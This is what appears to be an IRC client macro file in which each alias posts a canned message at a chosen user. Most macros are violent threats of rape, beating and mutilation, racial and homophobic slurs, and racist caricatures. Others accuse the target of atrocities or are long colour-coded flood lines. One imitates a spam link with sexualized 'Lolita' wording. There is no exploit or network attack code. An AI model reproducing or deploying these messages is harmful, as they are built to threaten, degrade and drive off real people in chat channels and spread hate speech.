lump14 = "say $* you cant come face to face fucking gonna remember these faces when i see you in th streets i am gonna rip you into peaces that when a doctor sees you he will get confused to weather an animal or human did that to you";
|
||||
lump15 = "say $* u think ur music impresses me? ur wrng nigr u dont know how srsly i take the internets if ur a real man gimme ur addy an ill come and rape ur momy and beat the living sht out of u";
|
||||
lump16 = "say $* why aren't u talking u got scared? this isn't nothing nigr u havent seen the real me yet. u keep hiding behind ur computr dat won't stp me frm comin and beating ur up u messed with the wrng guy.";
|
||||
|
||||
# {{{ other lumps
|
||||
ohsix = "say $* i hate u. i've never met a person who's as unfeeling and unkind as you. You might think that you are \"tough\" and a \"troll\" but the truth is that you're missing something important in life. If I wish, I could cut you out of my life at this very moment, after all all it takes is to \"/ignore +$*\". But unlike you, I am a human being who does believe that people can change - for good, in your case. ";
|
||||
ohsix2 = "say $* just shut the fuckup is not your fucking business you mother fucking asshole stupid shit! fucking idiot mother fucker";
|
||||
ohsix3 = "say $*: I think you have low selfesteem because you have small \"woodies\", is that right, or are you sad, like having blisters around the anal rectum, dont use a wooden bat like you are used too =P";
|
||||
ballsac = "say $* stfu u lmr u dont know nuthin yet if u type one more wrd ill fuckin rape u and throw u in a toilet";
|
||||
ballsac2 = "say don't ignore my msgs $* u filthy liar u dont know who ur messing wit here man u've done it now. u dont know how srsly i take this internet shit im gonna find out where u live in beat u up. then fuck ur momy while u watch";
|
||||
pign = "say $*: Congratulations, prick, you've just made my ignore list. Was it worth it to you to make your \"witty\" comments and snide in-jokes to your irc pals about me if it meant you are now disappeared from my online experience? Have a nice life.";
|
||||
pign2 = "say $* i hate u. i've never met a person who's as unfeeling and unkind as you. You might think that you are \"tough\" and a \"troll\" but the truth is that you're missing something important in life. If I wish, I could cut you out of my life at this very moment, after all all it takes is to \"/ignore +$*\". But unlike you, I am a human being who does believe that people can change - for good, in your case.";
|
||||
|
||||
# {{{ vap0rrip
|
||||
p0r1 = "say $*: Every time I see you, you will be presented with a lovely gift. I will give you golden bracelets that shine like sparkles of sunlight on the ocean. I will give you a necklace of pearls that beams like the moon in the evening. I will give you earrings that are more beautiful than a flock of seagulls or some such other type of romantic bird.";
|
||||
p0r2 = "say $*: I am inviting you to my apartment, which overlooks the city. I promise to cook you a lavish dinner which would include succulent lobster with melted butter, peas and, of course, rolls. I also promise that when we completed the meal, there would be a mouth-watering dessert item such as a fine pie or a cheesecake containing strawberries or some other such fruit.";
|
||||
p0r3 = "say $* stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt";
|
||||
p0r4 = "say $*: I swear to God, if you ever say that to me again, I will remove each and every one of your limbs, including your tiny penis, with a rusty spoon,shove your bleeding stumps into buckets of rock salt, then force you to eat your way out of a hole filled with your own feces and body parts.";
|
||||
p0r5 = "say $*: im going to pry apart your sweaty ass cheeks and plow your puckered brown rectum with a curling iron";
|
||||
p0r6 = "say $* i would enjoy mushing up your heart in a blender and chugging that shit like a milkshake.";
|
||||
p0r7 = "say $* i will piss in your asshole and make it squirt out your nose, then i will make you drink the piss and piss it out and drink it again";
|
||||
p0r8 = "say $* i will rip out chunks of hair and mke you smoke a joint of that shit while i rape you";
|
||||
p0r9 = "say $* ll perform a heavy metal solo with much force in your living room as you choke to death from the plastic bag on your face, youre ugly";
|
||||
p0r10 = "say $* I'll rape your face after I burn it with hydrochloric acid, and if you think I'm joking, just test me.. I love burn-dick.";
|
||||
p0r11 = "say $*: YOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYE";
|
||||
p0r12 = "say $*: We will attend an exquisite Broadway musical. We will enjoy the finest singing, dancing and showmanship that is available anywhere. We will be among the upper crust of society, enjoying a night of theater.";
|
||||
p0r13 = "say $*: lol, you remind me of sonic, except less smart and fatter..";
|
||||
|
||||
# {{{ :) :D :P
|
||||
moon = "say \0033<\0030:\0039P";
|
||||
moon2 = "say \0030<\00314:\0034,0)\003 \002K\002OOL \002K\002OMEDY \002K\002LOWNS \0033M\0034O\0035O\0036N \0037P\0038A\0039N\00310T\00311Y \00312F\00313L\00314A\00313S\00312H \0034,0(\003\00314:\0030>";
|
||||
moon3 = "say \00314`\0033'\0039\\;\0033.\00314_\0033\\;\0039'\0033`\0030@\00314> \0033moon \0039snake ";
|
||||
f1re = "say \0034:\0039-O \0034,9WATERMELON BUBBA";
|
||||
f1re2 = "say \0034:\00312`\0036(";
|
||||
vp = "say \0034>\00314:\003\0032D\00314#";
|
||||
vp2 = "say \0039]\0030\\;\0035P\00311>";
|
||||
vp3 = "say \0034*\0038(\00311:\0030]";
|
||||
vp4 = "say \0034>\0030:\0034#";
|
||||
vp5 = "say \0033~\00314B\0034}";
|
||||
vp6 = "say \00311>\0030:\0038)";
|
||||
vap0r = "say \0033>\0034:\00311`\00313(\0035~";
|
||||
vap0r2 = "say \00313>\00311:`\0039(\0032~";
|
||||
vap0r3 = "say \00311//\0034:\00313|\0035>\0030~";
|
||||
vap0r4 = "say \0034>\00314:\0034-|\0030E ";
|
||||
vap0r5 = "say \00311(\0030\\;\00311>";
|
||||
vap0r6 = "say \00313>\00311=\0030()";
|
||||
vap0r7 = "say \00313]\0030:\00313||\0030>";
|
||||
vap0r8 = "say @\0034,0:\00315,2)";
|
||||
vap0r9 = "say \0034>\0030:\0034>";
|
||||
vap0r10 = "say \0035>>\0030[]^\0034:\00313<";
|
||||
vap0r11 = "say \0034:\00313]\00314~";
|
||||
vap0r12 = "say \00314{\0030=\0033< ";
|
||||
vap0r13 = "say \0034(\0035:\0030=";
|
||||
vap0r14 = "say \0030{\00313:\0032>";
|
||||
vap0r15 = "say \00313-\0034:[\0030=\0034]";
|
||||
vap0r16 = "say \00313*\0030(\0033:\0034]";
|
||||
vap0r17 = "say \00311:\0032{\0030=\0032}\00314>";
|
||||
vap0r18 = "say \0036}\0030:\0036<";
|
||||
gtfo = "say gtfo\002(_\0034o\003_)";
|
||||
nigger = "say \0034:\0039()";
|
||||
robot = "say \00312>\0034=\0035,2[";
|
||||
DDD = "say \0033<\0030:\0039D\0033D\00314D\0033~ \0039$*";
|
||||
nanifish = "say \00314>\0039(\0033/\0035/\0034/\0036/(\00313|*\0036)\\\0035\\\0030@\0039)";
|
||||
gayfish = "say \00313<\0030@\0034\\\\\0035\\\\\0037\\\\\0038\\\\\0039\\\\\00312\\\\\00313>\0036<\00313<\0036< ";
|
||||
f1refish = "say \0034>\0035>\0038>\0037<\0035O\0034O\0037O\0038O\0034O\0038O\0037O\0034@\0035>";
|
||||
blancfish = "say \00314>\00315>\0030<\00311/\0030/\00315/\00314/\00315/\0030\00311@\0030>";
|
||||
cripplefish = "say \00314>\0037>\0038<\0037/\0038/\0034\\\\\0037/\0035\\;\0037/\0038\\\\\0034 \0037/\0030@\0038>\003 ---\002(\002 i like ur hair btw \002)";
|
||||
melalien = "say \0034,9*(:] MELALIEN";
|
||||
xtcfish = "say \00314>\00311>\00312>\0032(\00314/\00311/\00312/\0032/\00314/\00311:\00312D\0032D\0034D\0035D\0037D\0039D";
|
||||
|
||||
# {{{ albot
|
||||
albot1 = "say \0034,1 Burrow \003\00312,8 not \003\0039,12 gudrow \003\00313,1 has \003\00311,13 hard \003\0039,1 constipation \0038,4 in \0034,1 in \0031,13 smelly \0039,1 drink \0038,4 gudrow \00312,11 not \0038,1 sucks \0031,13 smelly \0039,1 smelly \0031,13 smelly \0039,1 is \0038,4 bonanza, \00312,11 agatha. \0038,1 A \0031,13 smelly \0039,1 turd! \0038,4 Lick \0034,1 the \0031,13 lavatory. \0039,1 And \0038,4 constipation \00312,11 boner \0038,1 fast \0031,13 \0039,1 \0038,1()\0031,1-\0031,0¤\0031,1-\0030,1 i'm going to get fucked by horses. ";
|
||||
albot2 = "say \0034,1 Doctor \003\00312,8 that \003\0039,12 burger \003\00313,1 plop \003\00311,13 gudrow's \003\0039,1 tardcraft's \0038,4 constipation, \00312,11 gudrow \0038,1 shits \0031,13 lavatory. \0039,1 And \0038,4 shit! \00312,11 Uncle \0038,1 with \0031,13 gudrow's \0039,1 smelly \0038,4 hat \00312,11 shit \0038,1 hot \0031,13 little \0039,1 smelly \0031,13 lavatory. \0039,1 And \0031,13 smelly \0039,1 gudrow's \0031,13 calzone \0039,1 shit \0038,1 traun's \0031,13 lavatory. \0039,1 And \0038,4 god, \00312,11 poo \0038,1 \0031,13 \0039,1 \0038,1¡\0031,1 \0038,4.";
|
||||
albot3 = "say \0039,12 my \003\00313,1 plop \003\00311,13 hat \003\0039,1 constipation \0038,4 that's \0034,1 fat gay canadian tv. ";
|
||||
albot4 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
|
||||
albot5 = "say \0034,1 Gay \003\00312,8 tardcraft's \003\0039,12 festival \003\00313,1 real \003\00311,13 hat \003\0039,1 constipation \0038,4 a \00312,11 not \0038,1 big \0031,13 little \0039,1 turd. ";
|
||||
albot6 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
|
||||
albot7 = "say \00309,01 hey \00312,10 $* \00311,03 im \00308,04 6`6 \00311,03 15lbs \00309,01 sexy \00308,04 as \00311,12 goon \00308,04 justice \00311,03 an \00301,13 im \00308,04 single \00312,10 lookin \00309,01 fa \00308,04 da \00308,01 right \00301,13 slavs \00312,10 ta \00308,01 cannibalize, \00311,03 so \00308,01 if \00312,10 u \00309,01 liken \00308,01 wat \00311,12 u \00312,10 see \00308,04 bench \00308,01 press \00311,12 at \00309,01 me \00311,03 an \00312,10 well \00308,04 do \00311,03 da \00309,01 full \00301,13 frontism ";
|
||||
albot8 = "say \00311,12 hey \00301,13 $* \00312,10 im \00301,13 5`6 \00309,01 62lbs \00308,01 sexy \00301,13 as \00308,04 juxtapozinged \00301,13 an \00312,10 im \00308,01 single \00311,12 lookin \00308,04 fa \00301,13 da \00311,03 right \00309,01 7-11 \00308,01 employees \00309,01 ta \00301,13 pickle, \00311,03 so \00312,10 if \00308,04 u \00311,12 liken \00308,04 wat \00309,01 u \00312,10 see \00309,01 wash \00301,13 at \00309,01 me \00308,04 an \00311,12 well \00308,01 do \00308,04 da \00301,13 cock \00311,03 to \00312,10 cock ";
|
||||
albot9 = "say \0034,1 A \003\00312,8 gay \003\0039,12 shitty \003\00313,1 deadly \003\00311,13 army \003\0039,1 and \0031,13 smelly \0039,1 shit \0038,4 with \00312,11 hung \0038,1 good \0031,13 smelly \0039,1 shit \0038,4 for \00312,11 mom. \017";
|
||||
|
||||
# {{{ buttes
|
||||
rune = "say FUCK $*\\; $* SUX\\; $* IS DYING\\; $* IS DEAD TO ME\\; $* HIT WTC";
|
||||
unrune = "say <3 $*\\; $* DOES NOT SUCK\\; $* IS NOT DYING\\; $* IS NOT DEAD TO ME\\; $* DID NOT HIT WTC";
|
||||
chirpn = "say mup da doo didda po mo gub bidda be dat tum muhfugen bix nood cof bin dub ho muhfugga";
|
||||
incog = "say \0037,0$*";
|
||||
masturbate = "say \026TWO FOUR SIX EIGHT GRAB YOUR DICKS AND MASTURBATE";
|
||||
bust = "say @@@ MACRO BUSTER @@@";
|
||||
ror = "say \0034,8^_^\003 \0034,0KOREAN RAUGH OUT ROUD\003 \00311kekeke";
|
||||
chinee = "say \0031,9---|==|=:<\003 \002YUMMY CHINEE";
|
||||
clocodile = "say \0031,8'_'\003 \002OH NO CLOCODILE";
|
||||
clocodile2 = "say \0031,8^_^\003 \002YUMMY CLOCODILE";
|
||||
blax = "say AROUND BLAX, NEVER RELAX";
|
||||
butte = "say COCKES IN THE BUTTE, URMOM IS A SLUTTE";
|
||||
coqarc = "say \002\0034,12IF WE TOUCH DICKS THERE WILL BE AN ARC";
|
||||
|
||||
# {{{ actions
|
||||
melon = "me is on $* like \002\0031,1#\0030,5:\0034,5)\003\002 \002\0031,1#\0030,5:\0034,5)\003\002 NIGGERS \002\0034,5(\0030,5:\0031,1#\003\002 \002\0034,5(\0030,5:\0031,1#\003\002 on \002\0039,3|\0031,4WATAMELONS\0039,3|\003\002!";
|
||||
poz = "say \002\0031,1-\0030,5\\;\0034,5)\003\002 \0031,8\002 \037/!\\\\\037\002 I am be shootin \002ULTRA-CREAMY NIGGER POZ\002 at $* as though he be a white wimmin! \002\037/!\\\\\002\037 \003 ~\0036+\003 ~\0034+\003 ~\0037+\003\002 $* \002\0038+\003~ \0039+\003~ \00312+\003~ \0030,1\002*SPLAT!*\002\003 WELCOME TO \002\0031,4G\0031,7R\0031,8I\0031,9D\0031,12S\003\002, SWEETIE! \002\0031,1-\0030,5:\0034,5P\003\002 \0039,9OI\0031,1vera \0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5O\0030,5:\0031,1-\003\002 ";
|
||||
poz2 = "say \002\0031,1#\0030,5X\0034,5D\003\002 \0030~\0036G \0030~\0034R \0030~\0037I \0030~\0038D \0030~\0039S \0030~\00312+ \00313,7(\00311,7:\0038,8#\003 \037/\\\\\037 \002POZZING: \0036[\0033|||100%|||\0036]\003 \0034COMPLETE\003\002 \037/\\\\\037\002\00310 $* has poz!";
|
||||
poz3 = "say BIG \0030,1 ~+ \0038,1\002POZZY\002\0030,1 +~ \003 GAY HUGS FOR \002\0034{\0037{\0038{\0039{\00312{\0036{\003\002 \0038,8#\00311,7\\;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \002\0034}\0037}\0038}\0039}\00312}\0036}\003\002";
|
||||
poz4 = "me poz \0034 $* ";
|
||||
|
||||
# {{{ crapflood
|
||||
new = "say \0038,3 S\0039ince \0038,6 I\0039'm \0038,3 N\0039ew \0038,6 T\0039o \0038,3 L\0039ist \0038,6 I \0038,3 C\0039an't \0038,6 S\0039tart \0038,3 B\0039ut \0038,6 S\0039aying \0038,3 H\0039ello \0038,6 $* ";
|
||||
panis = "say \0030,4 my panis do not up and i have a problem with my penny balls ";
|
||||
nigita = "say \0031,8(: Virgin Lolita Girl Last Night go to BAR.\0030,12 Pizza man FUCKED girl to toilet.All of there \0032,4 blood.\0030,1See you Photo visit=>>\0030,12 http://pizzasex.nigx.ne";
|
||||
damage = "say \002\0038,0 ## # # EYE DAMAGE # # # ## \0030,8 ## # # EYE DAMAGE # # # ## \0038,0 ## # # EYE DAMAGE # # # ## \0030,8 ## # # EYE DAMAGE # # # ## \0038,0 ## # # EYE DAMAGE # # # ## \0030,8 ## # # EYE DAMAGE # # # ## \0038,0 ## # # EYE DAMAGE # # # ## \0030,8 ## # # EYE DAMAGE # # # ## \0038,0 ## # # EYE DAMAGE # # # ## \0030,8 ## # # EYE DAMAGE # # # ##";
|
||||
oontz = "say \002\0034thEr \0035Iz \0037oNlY \00361 \0032ThInG \00312taHT \00311uNiTeZ \00310uS \0039aLL \00314rEgArDlEsS \0030oF \0032RaCe, \0033ReLiGOIn \0034oR \0035CoLeR\0039............. \00311aNd \00312tHaT \00313is \037\0034O0NTZ BEATZ!!!!!!!!!";
|
||||
happyland = "say \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039- \00313hAPPY!11 LAND1211 \0034=\0039-\0034=\0039-\0034=\0039-\0034=\0039-";
|
||||
stfy = "say \0034,8\002SHUT \037THE\037 FUCK \037YOU\037|";
|
||||
shutup = "say \00315,10IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP IRC SHUT UP";
|
||||
thugz = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034THUGZ 4 LIFE WORD\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ ";
|
||||
ircdongs = "say \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s \0034i\0038r\00311c \003\00312d\00313o\0037n\00310g\0038s";
|
||||
urmamma = "say \0037HeY YO MaMMA In Da LUnCH SerVEs DA ChEEzzBuRGA";
|
||||
hodapp = "say \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O\00311D\0034A\00312P\00313P \0036H\0033O";
|
||||
hipvan = "say \002\037\0034,7hippie van at \0038,4 300 mph!111";
|
||||
irchax = "say \002\037\003\00\0038,4unauthorized irc entry111\00";
|
||||
|
||||
# {{{ ripped from TAC0
|
||||
mazel = "say \002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@#@ MAZEL TOV! #@#@#@#\003\002\0030,2 #@#@#@# MAZEL TOV! @#@#@#@\002\0032,0 @#@#@";
|
||||
diarrhea = "say \0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT BLOODY DIARRHEA\0037,4HOT BLOODY DIARRHEA\0034,7HOT";
|
||||
fauxvag = "say \00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE\00312,4 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR ABDOMEN THROUGH YOUR CHODE \0034,12 FASHION A FAUX VAGINA BY DIGGING A HOLE INTO YOUR";
|
||||
bacardi = "say \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0038,4INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURKEY BASTER AND PISS FIRE OUT YOUR COCK LIKE A DRAGON \0034,8INSERT BACARDI 151 INTO YOUR URETHRA WITH A TURK";
|
||||
hitler = "say \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0038,2 WHY BLAME HITLER FOR THE HOLOCAUST WHEN IT WAS REALLY \002\037 $* \002\037?? \0032,8 WHY BLAME HIT";
|
||||
binladen = "say \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00314,11 WHY BLAME BIN LADEN FOR 911 WHEN IT WAS REALLY \002\037 $* \002\037 ?? \00311,14 WHY BLAME BIN LADEN FOR 911 WHEN IT";
|
||||
oswald = "say \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,7 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037?? \0037,12 WHY BLAME OSWALD FOR KILLING KENNEDY WHEN IT WAS REALLY \002\037 $* \002\037??";
|
||||
saddam = "say \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311,13 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00313,11 WHY BLAME SADDAM FOR THE SLAUGHTER OF 100000 KURDS WHEN IT WAS REALLY \002\037 $* \002\037?? \00311";
|
||||
clove = "say \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \00312,3 WHY BLAME COURTNEY LOVE FOR KURT COBAIN'S DEATH WHEN IT WAS REALLY \002\037 $* \002\037?? \0033,12 WHY BLAME COURTNE";
|
||||
rip = "say \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF $* \0031,4 IN LOVING MEMORY OF $* \0034,1 IN LOVING MEMORY OF M";
|
||||
shark = "say \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK MY DIIICK\037!!!!!!\002 \00311,13 I'M A SHARK!! \0039,7 \002I'M A SHAAARRK!!!!\002 \0034,8 \002\037SUCK";
|
||||
beelego = "say \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8 ! \003 \017\017\017 \017\017\017 \00312,11 L \0034,3 E \0038,12 G \0037,4 O \0033,12 S \003 \017\017\017 \017\017\017 \0038,1 B \0031,8 E \0038,1 E \0031,8 S \0038,1 ! \0031,8";
|
||||
flewd = "say \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033WHEN U AM FLEWD, \0038U AM \0034* Quits: Gringo (Excess Flewd) \0038- \0033W";
|
||||
hotcold = "say ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003. ME AM \0034\002HOT\002\003, BUT ME \00312\002\037COLD\037\002\003.";
|
||||
penis = "say \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS \00311,13\002ROCK HARD CAT PENIS \00313,11\002ROCK HARD CAT PENIS ";
|
||||
